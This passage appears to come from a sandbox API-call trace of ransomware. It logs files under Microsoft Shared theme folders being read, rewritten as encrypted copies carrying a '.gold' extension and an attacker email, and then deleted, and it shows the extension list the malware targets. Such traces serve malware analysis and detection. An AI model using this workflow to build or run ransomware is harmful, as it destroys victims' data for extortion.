Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0042.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.611] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.611] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.613] GetLastError () returned 0x0 [0042.613] ReadFile (in: hFile=0x19c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1004, lpOverlapped=0x0) returned 1 [0042.616] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0042.617] ReadFile (in: hFile=0x19c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.617] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.617] SetEndOfFile (hFile=0x1fc) returned 1 [0042.617] CloseHandle (hObject=0x1fc) returned 1 [0042.617] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.617] SetEndOfFile (hFile=0x19c) returned 1 [0042.618] CloseHandle (hObject=0x19c) returned 1 [0042.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.618] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0042.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.618] lstrlenW (lpString=".doc") returned 4 [0042.618] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.618] lstrlenW (lpString=".docx") returned 5 [0042.618] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.618] lstrlenW (lpString=".pdf") returned 4 [0042.618] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.618] lstrlenW (lpString=".xls") returned 4 [0042.618] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.618] lstrlenW (lpString=".xlsx") returned 5 [0042.618] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.618] lstrlenW (lpString=".ppt") returned 4 [0042.618] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.618] lstrlenW (lpString=".zip") returned 4 [0042.618] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString=".rar") returned 4 [0042.619] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString=".bz2") returned 4 [0042.619] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString=".7z") returned 3 [0042.619] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.619] lstrlenW (lpString=".dbf") returned 4 [0042.619] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.619] lstrlenW (lpString=".1cd") returned 4 [0042.619] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.619] lstrlenW (lpString=".jpg") returned 4 [0042.619] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.619] lstrlenW (lpString=".doc") returned 4 [0042.619] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString=".docx") returned 5 [0042.619] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.619] lstrlenW (lpString=".pdf") returned 4 [0042.619] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString=".xls") returned 4 [0042.619] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString=".xlsx") returned 5 [0042.619] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.619] lstrlenW (lpString=".ppt") returned 4 [0042.619] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.619] lstrlenW (lpString=".zip") returned 4 [0042.619] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString=".rar") returned 4 [0042.619] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.619] lstrlenW (lpString=".bz2") returned 4 [0042.619] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString=".7z") returned 3 [0042.619] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.619] lstrlenW (lpString=".dbf") returned 4 [0042.619] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.619] lstrlenW (lpString=".1cd") returned 4 [0042.619] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0042.619] lstrlenW (lpString=".jpg") returned 4 [0042.619] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.619] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.619] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.620] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=47962) returned 1 [0042.620] CloseHandle (hObject=0x19c) returned 1 [0042.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0042.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.620] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.620] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.620] GetLastError () returned 0x0 [0042.620] ReadFile (in: hFile=0x19c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xbb5a, lpOverlapped=0x0) returned 1 [0042.622] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xbb60, lpOverlapped=0x0) returned 1 [0042.624] ReadFile (in: hFile=0x19c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.624] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.624] SetEndOfFile (hFile=0x1fc) returned 1 [0042.624] CloseHandle (hObject=0x1fc) returned 1 [0042.624] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.624] SetEndOfFile (hFile=0x19c) returned 1 [0042.625] CloseHandle (hObject=0x19c) returned 1 [0042.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.625] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0042.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.625] lstrlenW (lpString=".doc") returned 4 [0042.625] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.625] lstrlenW (lpString=".docx") returned 5 [0042.625] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.625] lstrlenW (lpString=".pdf") returned 4 [0042.625] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.625] lstrlenW (lpString=".xls") returned 4 [0042.625] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.625] lstrlenW (lpString=".xlsx") returned 5 [0042.625] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.625] lstrlenW (lpString=".ppt") returned 4 [0042.625] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.625] lstrlenW (lpString=".zip") returned 4 [0042.625] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.625] lstrlenW (lpString=".rar") returned 4 [0042.625] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.625] lstrlenW (lpString=".bz2") returned 4 [0042.959] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.959] lstrlenW (lpString=".7z") returned 3 [0042.959] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.959] lstrlenW (lpString=".dbf") returned 4 [0042.959] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.959] lstrlenW (lpString=".1cd") returned 4 [0042.959] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.959] lstrlenW (lpString=".jpg") returned 4 [0042.959] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.959] lstrlenW (lpString=".doc") returned 4 [0042.959] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.959] lstrlenW (lpString=".docx") returned 5 [0042.959] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.959] lstrlenW (lpString=".pdf") returned 4 [0042.959] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.959] lstrlenW (lpString=".xls") returned 4 [0042.959] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.959] lstrlenW (lpString=".xlsx") returned 5 [0042.959] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.959] lstrlenW (lpString=".ppt") returned 4 [0042.959] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.959] lstrlenW (lpString=".zip") returned 4 [0042.959] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.959] lstrlenW (lpString=".rar") returned 4 [0042.959] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.960] lstrlenW (lpString=".bz2") returned 4 [0042.960] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.960] lstrlenW (lpString=".7z") returned 3 [0042.960] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.960] lstrlenW (lpString=".dbf") returned 4 [0042.960] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.960] lstrlenW (lpString=".1cd") returned 4 [0042.960] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0042.964] lstrlenW (lpString=".jpg") returned 4 [0042.964] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.964] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.964] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.964] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2209) returned 1 [0042.964] CloseHandle (hObject=0x18c) returned 1 [0042.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0042.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0042.964] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.964] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0043.379] GetLastError () returned 0x0 [0043.379] ReadFile (in: hFile=0x18c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0043.458] WriteFile (in: hFile=0x1f4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0043.462] ReadFile (in: hFile=0x18c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.463] WriteFile (in: hFile=0x1f4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.463] SetEndOfFile (hFile=0x1f4) returned 1 [0043.463] CloseHandle (hObject=0x1f4) returned 1 [0043.463] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.463] SetEndOfFile (hFile=0x18c) returned 1 [0043.464] CloseHandle (hObject=0x18c) returned 1 [0043.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.464] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0043.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.464] lstrlenW (lpString=".doc") returned 4 [0043.464] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.464] lstrlenW (lpString=".docx") returned 5 [0043.464] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.464] lstrlenW (lpString=".pdf") returned 4 [0043.464] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.464] lstrlenW (lpString=".xls") returned 4 [0043.464] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.464] lstrlenW (lpString=".xlsx") returned 5 [0043.464] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.464] lstrlenW (lpString=".ppt") returned 4 [0043.464] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.464] lstrlenW (lpString=".zip") returned 4 [0043.464] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.464] lstrlenW (lpString=".rar") returned 4 [0043.464] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.464] lstrlenW (lpString=".bz2") returned 4 [0043.464] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.464] lstrlenW (lpString=".7z") returned 3 [0043.465] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.465] lstrlenW (lpString=".dbf") returned 4 [0043.465] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.465] lstrlenW (lpString=".1cd") returned 4 [0043.465] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.465] lstrlenW (lpString=".jpg") returned 4 [0043.465] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.465] lstrlenW (lpString=".doc") returned 4 [0043.465] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.465] lstrlenW (lpString=".docx") returned 5 [0043.465] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.465] lstrlenW (lpString=".pdf") returned 4 [0043.465] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.465] lstrlenW (lpString=".xls") returned 4 [0043.465] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.465] lstrlenW (lpString=".xlsx") returned 5 [0043.465] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.465] lstrlenW (lpString=".ppt") returned 4 [0043.465] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.465] lstrlenW (lpString=".zip") returned 4 [0043.465] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.465] lstrlenW (lpString=".rar") returned 4 [0043.465] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.465] lstrlenW (lpString=".bz2") returned 4 [0043.465] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.465] lstrlenW (lpString=".7z") returned 3 [0043.465] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.465] lstrlenW (lpString=".dbf") returned 4 [0043.465] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.465] lstrlenW (lpString=".1cd") returned 4 [0043.465] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0043.465] lstrlenW (lpString=".jpg") returned 4 [0043.465] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.465] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0043.465] lstrlenW (lpString="FM20.CHM") returned 8 [0043.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0043.466] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=334427) returned 1 [0043.466] CloseHandle (hObject=0x18c) returned 1 [0043.466] 